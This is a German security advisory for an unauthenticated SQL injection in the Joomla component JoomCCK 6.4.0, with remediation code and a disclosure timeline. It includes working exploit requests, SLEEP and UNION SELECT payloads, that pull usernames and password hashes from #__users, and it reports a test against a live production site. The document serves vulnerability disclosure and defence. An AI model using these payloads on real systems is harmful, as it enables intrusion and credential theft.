
CVE-2026-49048 — JoomCCK 6.4.0 Unauthentifizierte SQL-Injektion (CVSS 9.8)
CVE: CVE-2026-49048
Status: Öffentliche Offenlegung. Gemeldet an das Joomla Security Strike Team (JSST) — Ticket #282420.
| Feld | Wert |
|---|---|
| Advisory-ID | JOOMCCK-2026-001 |
| CVE | CVE-2026-49048 |
| Produkt | JoomCCK (com_joomcck) — Content Construction Kit für Joomla |
| Hersteller | JoomCoder — https://www.joomcoder.com |
| Betroffen | 6.4.0 (aktuellste Version zum Zeitpunkt der Entdeckung; frühere 6.x-Versionen vermutlich betroffen) |
| Behobene Version | Zum Zeitpunkt der Erstellung keine |
| Typ | SQL-Injection (CWE-89) durch fehlende Autorisierung (CWE-862) |
| Authentifizierung erforderlich | Keine — nicht authentifiziert, Pre-Auth |
| Schweregrad | Kritisch — CVSS 3.1 Base Score 9.8 |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Entdeckt von | Kamil Soltanov |
| Kontakt | [email protected] |
| Entdeckungsdatum | 2026-06-22 |
Die Joomla-4/5/6-Komponente JoomCCK stellt eine Front-End-Controller-Task (task=tags.save) bereit, die den vom Benutzer übergebenen Parameter tag direkt in SQL konkateniert, ohne ihn zu escapen oder zu parametrisieren. Der benutzerdefinierte MVC-Dispatcher der Komponente führt weder eine CSRF-Token-Prüfung noch eine Zugriffskontrollprüfung durch, wodurch die Injection für einen vollständig nicht authentifizierten Remote-Angreifer erreichbar ist.
Eine erfolgreiche Ausnutzung ermöglicht vollständigen Lesezugriff auf die Joomla-Datenbank — einschließlich der Passwort-Hashes in #__users — über UNION-basierte und zeitbasierte blinde SQL-Injection, was zu einer vollständigen Kompromittierung der Website führt.
libraries/mint/mvc/controller/base.php — MControllerBase::execute():
public function execute($task)
{
$this->task = $task;
$task = !is_null($task) ? strtolower($task) : '';
$doTask = $this->taskMap[$task];
...
return $this->$doTask(); // Invoked with no checkToken(), no authorise()
}
Die Methode authorise() in derselben Klasse ist ein No-op, der bedingungslos true zurückgibt.
Der Einstiegspunkt components/com_joomcck/joomcck.php ruft execute(input->get('task')) ohne jegliche Login-, Token- oder ACL-Sperre auf → jede öffentliche Controller-Methode ist eine nicht authentifizierte Task.
tags.save (CWE-89)components/com_joomcck/models/tags.php — _saveTag():
$tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes
$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE
$exist_item = $this->_getList($query);
// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE
Joomlas STRING-Eingabefilter entfernt HTML-Tags, lässt aber " unverändert — dasselbe Zeichen, das hier als SQL-String-Trennzeichen verwendet wird. Ein Ausbruch aus dem in Anführungszeichen gesetzten Literal injiziert beliebiges SQL.
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
Erwartet: Antwort verzögert um ≥ 5 Sekunden (pro übereinstimmender Zeile).
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
Der vollständige PoC-Code und das aufgezeichnete Nachweisprotokoll befinden sich in poc/.
Wichtige Laborergebnisse:
Payload (tag=) | Ergebnis |
|---|---|
cars (harmlos) | 1 Zeile zurückgegeben — normal |
zzz" OR "1"="1 | " nicht escaped → alle Zeilen zurückgegeben (Injection bestätigt) |
zzz" UNION SELECT id,username,password FROM jos_users-- - | Admin-Passwort-Hash exfiltriert |
zzz" OR SLEEP(3)-- - | Antwort verzögert um 9,0 s (3 Zeilen × 3 s) |
Die Laborumgebung verwendet das echte
Joomla\Input\Input::getString()und die wortgetreue_saveTag()-Abfrage gegen eine laufende MariaDB 11.8-Instanz.
Ein nicht authentifizierter Remote-Angreifer kann:
#__js_res_tags über das injizierbare UPDATE änderntask=tags.delete und task=records.copy verketten (ebenfalls unauthentifiziert — derselbe Dispatcher-Fehler)Derselbe Dispatcher-Fehler legt zusätzliche unauthentifizierte Tasks offen:
| Task | Auswirkung |
|---|---|
tags.delete | Beliebige Tags ohne Authentifizierung löschen |
records.copy | Beliebige Datensätze ohne Authentifizierung duplizieren |
ajax.category_records | Datensätze nach Kategorie auflisten |
ajax.tags_list | Alle Tags auflisten |
ajax.users_filter | Benutzernamen auflisten |
ajax.loadfieldparams | Feldkonfiguration offenlegen |
Hinweis: Viele records.*-Tasks erzwingen intern ACL über _checkAccess() und sind nicht betroffen.
1. Alle Abfragen parametrisieren (Joomla Query Builder):
$db = $this->getDatabase();
$tag = $app->input->getString('tag');
// SELECT
$query = $db->getQuery(true)
->select('a.*')
->from($db->quoteName('#__js_res_tags', 'a'))
->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));
// UPDATE
$upd = $db->getQuery(true)
->update($db->quoteName('#__js_res_tags'))
->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
->where($db->quoteName('id') . ' = ' . (int) $id);
2. Autorisierung im Dispatcher erzwingen — füge Session::checkToken() und eine ACL-Prüfung (Factory::getApplication()->getIdentity()->authorise(...)) vor allen zustandsändernden Aufgaben hinzu, um die bereits bei files.upload vorhandenen Schutzmaßnahmen nachzubilden.
| Datum | Ereignis |
|---|---|
| 2026-06-22 | Schwachstelle entdeckt und über lokalen Lab-PoC verifiziert |
| 2026-06-22 | Advisory erstellt; an das Joomla Security Strike Team (JSST) und VEL gemeldet |
| 2026-06-23 | JSST bestätigt — David Jardin, Ticket #282420. Koordination mit dem Hersteller (JoomCoder) über JSST |
| 2026-06-25 | Bestätigung in freier Wildbahn auf einer produktiven Joomla-Site: SLEEP(5) → 115 s Antwortzeit; MySQL-Fehler 1222 bei UNION (nicht destruktiv, keine Daten exfiltriert) |
| TBD | Hersteller-Patch |
| TBD | CVE-Zuweisung |
| TBD | Öffentliche Offenlegung (koordiniertes 90-Tage-Fenster) |
Unabhängiger Sicherheitsforscher.
Kontakt: [email protected]